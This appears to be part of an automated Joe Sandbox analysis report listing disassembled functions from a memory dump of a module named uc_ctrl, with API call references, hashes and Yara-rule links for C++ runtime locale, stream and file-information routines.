Opcode Fuzzy Hash: cd34b97c5841afc2589f9a23364119aef8edc022f578528e262811488f813316
Instruction Fuzzy Hash: D4211D75901218EFCB05DF94D980ADEB7B8FF14319F548156F815A7650EB30DA15CB90

Function 6C940F20 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C940F27
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C940F4A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C940F68

Part of subcall function 6C945CD0: __EH_prolog3_GS.LIBCMT ref: 6C945CDA

_Stoullx.MSVCP140(?,?,00000000), ref: 6C940F79

Part of subcall function 6C92E7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E805
Part of subcall function 6C92E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6C92E8A6
Part of subcall function 6C92E7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E8B8
Part of subcall function 6C92E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6C92E90A

std::locale::~locale.LIBCPMT ref: 6C940F8C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
String ID:
API String ID: 1569883386-0
Opcode ID: 7b67cd76f4a377214c3c193d701cd74b53ee26eba79aac757b03dabac3ea129a
Instruction ID: 9cc96166cd8d225c615fa5bed1b9b78b73affcecd20342a135a259a2a07f2f2b
Opcode Fuzzy Hash: 7b67cd76f4a377214c3c193d701cd74b53ee26eba79aac757b03dabac3ea129a
Instruction Fuzzy Hash: 12211D75911218EFCB05DF94D980ADEBBB8FF24314F148166F815A7650EB70DA15CF90

Function 6C943430 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C943437
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C94345A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C943478

Part of subcall function 6C947DE0: __EH_prolog3_GS.LIBCMT ref: 6C947DEA

_Stollx.MSVCP140(?,?,00000000), ref: 6C943489

Part of subcall function 6C92E400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92E424
Part of subcall function 6C92E400: _Stoullx.MSVCP140(?,?,?,?), ref: 6C92E448

std::locale::~locale.LIBCPMT ref: 6C94349C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StollxStoullxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@isspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 1199685178-0
Opcode ID: a803d2cfe498b939b194e075165edeb661cbf8631bc0d73428d1714d7dbda2fc
Instruction ID: 9f0fc451c211c1dd4b8ac6943fa9b2c16a40027bad5773b05ac1660bed1d71f1
Opcode Fuzzy Hash: a803d2cfe498b939b194e075165edeb661cbf8631bc0d73428d1714d7dbda2fc
Instruction Fuzzy Hash: A3212F75901218EFCF05DFA4D980AEEB7B8FF14318F158156F815A7650EB30DA15CB90

Function 6C936C00 Relevance: 7.6, APIs: 5, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000), ref: 6C936C24
___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6C936C3D
CloseHandle.KERNEL32(00000000), ref: 6C936C4A
___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6C936C71
CloseHandle.KERNEL32(00000000), ref: 6C936C81

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Handle$File$CloseInformation___crt$Create
String ID:
API String ID: 2164624149-0
Opcode ID: 5ee5b59edd295e4e1efedf8d2792d3a3d2cfed5c44a0398429b586ac1af75127
Instruction ID: e87b84f642736fb67e2d2a78faea0db4af40a0da9826252121b1f5151c0a5716
Opcode Fuzzy Hash: 5ee5b59edd295e4e1efedf8d2792d3a3d2cfed5c44a0398429b586ac1af75127
Instruction Fuzzy Hash: D511E331A05128ABDB108E698C49AEF7BBCEB47760F504519FE0ED7280EB30C905C6E1

Function 6C9555E0 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9555E7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000018), ref: 6C955623
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,00000018), ref: 6C955649
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000018), ref: 6C955674
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000018), ref: 6C95569E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_H_prolog3H_prolog3_catchIpfx@?$basic_istream@_
String ID:
API String ID: 3542153055-0
Opcode ID: b0a159c032b9a666674b1873d6fa867aab0365f0a9549c8abaf597b5a3d05a6d
Instruction ID: 0f238e97f689b3189102ce9da18120a9ebddb7f4f92a39c008a22814366c5139
Opcode Fuzzy Hash: b0a159c032b9a666674b1873d6fa867aab0365f0a9549c8abaf597b5a3d05a6d
Instruction Fuzzy Hash: 2421F3349062959FCB00CB54C550BFDBBF0AF2530CF944059E445ABBC2CB75DA19CB91

Function 6C956C40 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956C47

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956C77

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C956C8D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6C956CC0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956D0D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 67d0a47a9a9b09c27f7457d095a56a45c597be787865fd0aa192f4dcbb0bc2f9
Instruction ID: d2d80aa46b01922fdd4ee6c81a255e42dea2835399d884e9697972765be1b48a
Opcode Fuzzy Hash: 67d0a47a9a9b09c27f7457d095a56a45c597be787865fd0aa192f4dcbb0bc2f9
Instruction Fuzzy Hash: 4321C374900258EFCB05DFA8C854BEDBFB4AF29308F14408DE144A7381C7759A19CB60

Function 6C956D30 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956D37

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956D67

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C956D7D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6C956DB0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956DFD

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 538a845f2506f6fbf1a10ab7931e542db3b8790378bb1613921324604f95512b
Instruction ID: 2c49bd215f71834cd1bd8067a70176972d8749489be571556278fb1d215d937b
Opcode Fuzzy Hash: 538a845f2506f6fbf1a10ab7931e542db3b8790378bb1613921324604f95512b
Instruction Fuzzy Hash: 0521A175900258EFCB05DBA8C854BEDBFB4AF29308F14408DE18467381C775DA19CBA0

Function 6C956E20 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956E27

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956E57

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C956E6D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6C956EA0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956EED

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 119207c54860677cbf3fc04fc1215ff573e763d806a0d399b340f2895ede3e2e
Instruction ID: 41776795df0005e9fcd7668a26b945426d226b85de44c616eb3d599824d0ae6c
Opcode Fuzzy Hash: 119207c54860677cbf3fc04fc1215ff573e763d806a0d399b340f2895ede3e2e
Instruction Fuzzy Hash: C821C075A01258EFCB05DFA8C854BEDBFB4AF29308F14408DE184AB781C775DA19CBA4

Function 6C9434F0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9434F7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C94351A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C943538

Part of subcall function 6C947DE0: __EH_prolog3_GS.LIBCMT ref: 6C947DEA

_Stoulx.MSVCP140(?,?,00000000), ref: 6C943549

Part of subcall function 6C92E660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E683
Part of subcall function 6C92E660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6C92E70F
Part of subcall function 6C92E660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E71D
Part of subcall function 6C92E660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E774

std::locale::~locale.LIBCPMT ref: 6C94355A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StoulxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
String ID:
API String ID: 2658666639-0
Opcode ID: ab1073048e81508bf70fe0cbbbaf5719f43a3c025a8fdbe545b0be7c6d3a2d73
Instruction ID: eff6f5ddb2d53f32635313e278edc61fdc0c156841087169594bf882f912fde0
Opcode Fuzzy Hash: ab1073048e81508bf70fe0cbbbaf5719f43a3c025a8fdbe545b0be7c6d3a2d73
Instruction Fuzzy Hash: A021E97590121CEFCB05DFA4D980AEEB7B8FF14318F50455AF915A7650EB30DA15CBA0

Function 6C9435A0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9435A7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C9435CA

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C9435E8

Part of subcall function 6C947DE0: __EH_prolog3_GS.LIBCMT ref: 6C947DEA

_Stolx.MSVCP140(?,?,00000000), ref: 6C9435F9

Part of subcall function 6C92E0F0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92E110
Part of subcall function 6C92E0F0: _Stoulx.MSVCP140(?,?,?,?), ref: 6C92E134
Part of subcall function 6C92E0F0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E167

std::locale::~locale.LIBCPMT ref: 6C94360A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StolxStoulxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@_errnoisspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 3205947530-0
Opcode ID: 7e6f3490496217d63be3e56a9e940767a58d2118f68ff0dd853a5a82858996b3
Instruction ID: 5fa585fedc782e24d9e51c1b1998a45abca58e254fad504150a2f70e45e77b6f
Opcode Fuzzy Hash: 7e6f3490496217d63be3e56a9e940767a58d2118f68ff0dd853a5a82858996b3
Instruction Fuzzy Hash: 2521097590121DEFCB05DFA4D981AEEB7B8BF14318F004156E815A7650EB30DA15CB60

Function 6C955C80 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955C87

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955CB8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955CCD
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955D0A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955D4D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: 87f9eba847a606275603b030d4f6b52e048bb0562779468438b6b98e04652282
Instruction ID: 5cc5c85b6c4c47da5fb3b1e289d689bd087d636e7aa112a48c05c5c51cc542a6
Opcode Fuzzy Hash: 87f9eba847a606275603b030d4f6b52e048bb0562779468438b6b98e04652282
Instruction Fuzzy Hash: F321AE30A01148EFCB01DFE4C844EEEBFB5AF28308F144059E009A7342DB31DA19CBA0

Function 6C950CC0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950CC7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950CF7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950D0D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6C950D3C
